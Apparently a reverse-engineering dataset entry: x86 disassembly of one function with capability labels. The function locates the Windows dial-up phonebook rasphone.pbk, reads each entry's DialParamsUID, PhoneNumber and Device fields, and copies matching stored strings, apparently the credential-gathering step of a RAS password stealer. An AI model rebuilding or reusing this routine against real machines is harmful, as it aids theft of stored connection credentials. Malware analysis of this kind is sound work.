Function at 0x10002730
Capabilities:
Check os version
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c4
push ebx
push esi
push edi
lea eax, [ebp - 0x1bc]
push 0x105
mov ebx, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [ebp - 0x1bc]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebx + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x1bc]
push edx
push eax
call esi
lea ecx, [ebp - 0x1bc]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call esi
push 0
lea edx, [ebp - 0x2c4]
push 0x23
push edx
push 0
call dword [0x10018cbc]
lea eax, [ebp - 0x2c4]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
lea ecx, [ebp - 0x2c4]
push str._s_s
push ecx
call dword [0x10018cd0]
lea edx, [ebp - 0x1bc]
lea eax, [ebp - 0x2c4]
add esp, 0x10
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0xb4], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0xa4]
mov edi, 2
cmp eax, edi
jne 0x10002838
cmp dword [ebp - 0xb0], 5
jb 0x10002838
mov ecx, ebx
call fcn.100025f0
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
lea edx, [ebp - 0x20]
add esp, 4
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x18], edi
jmp 0x10002858
mov esi, dword [ebp - 8]
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
push eax
push 0x1000
push esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov ecx, dword [ebp - 8]
cmp byte [ecx], 0
je 0x10002a76
push esi
mov ecx, ebx
call fcn.10002f10
mov dword [ebp - 0x14], eax
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3c4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x5c4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x6c4]
mov edx, dword [ebp - 0x10]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x4c4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x7c4]
rep stosd dword es:[edi], eax
push edx
lea eax, [ebp - 0x3c4]
push 0x100
xor edi, edi
push eax
push edi
push str.DialParamsUID
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x1000298d
mov eax, dword [ebx + 0x10]
mov dword [ebp - 4], edi
cmp eax, edi
jle 0x1000298d
mov dword [ebp - 4], edi
mov ecx, dword [ebp - 4]
mov eax, dword [ebx + 0x1c]
add ecx, eax
lea edx, [ebp - 0x3c4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000293d
mov ecx, dword [ebp - 4]
mov eax, dword [ebx + 0x10]
inc edi
add ecx, 0x301
cmp edi, eax
mov dword [ebp - 4], ecx
jl 0x1000290a
mov dword [ebp - 4], edi
jmp 0x1000298d
mov dword [ebp - 4], edi
lea edi, [edi + edi*2]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x5c4]
shl edi, 8
add edi, eax
mov eax, dword [ebx + 0x1c]
lea ecx, [edi + eax + 0x200]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebx + 0x1c]
lea edx, [ebp - 0x6c4]
lea ecx, [edi + eax + 0x100]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebx + 0x1c]
mov byte [edi + eax + 0x300], 1
mov eax, dword [ebx + 8]
inc eax
mov dword [ebx + 8], eax
push 0x104
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
push str.Phon
push edi
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.eNumber
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x100190f4
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x4c4]
push ecx
push 0x100
push edx
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
call edi
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x7c4]
push eax
push 0x100
push ecx
push 0
push str.Device
push esi
call edi
lea edx, [ebp - 0x7c4]
mov ecx, ebx
push edx
call fcn.10002f10
mov edi, eax
lea eax, [ebp - 0x5c4]
push eax
mov ecx, ebx
call fcn.10002f10
lea ecx, [ebp - 0x4c4]
push edi
lea edx, [ebp - 0x6c4]
push ecx
push edx
mov dword [ebp - 4], eax
push eax
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x3c4]
push eax
push ecx
mov ecx, ebx
call fcn.10002ab0
mov edx, dword [ebp - 0x14]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esi + ecx + 1]
lea esi, [esi + ecx + 1]
test al, al
jne 0x10002884
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
add ecx, 4
dec eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x18], eax
jne 0x10002855
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret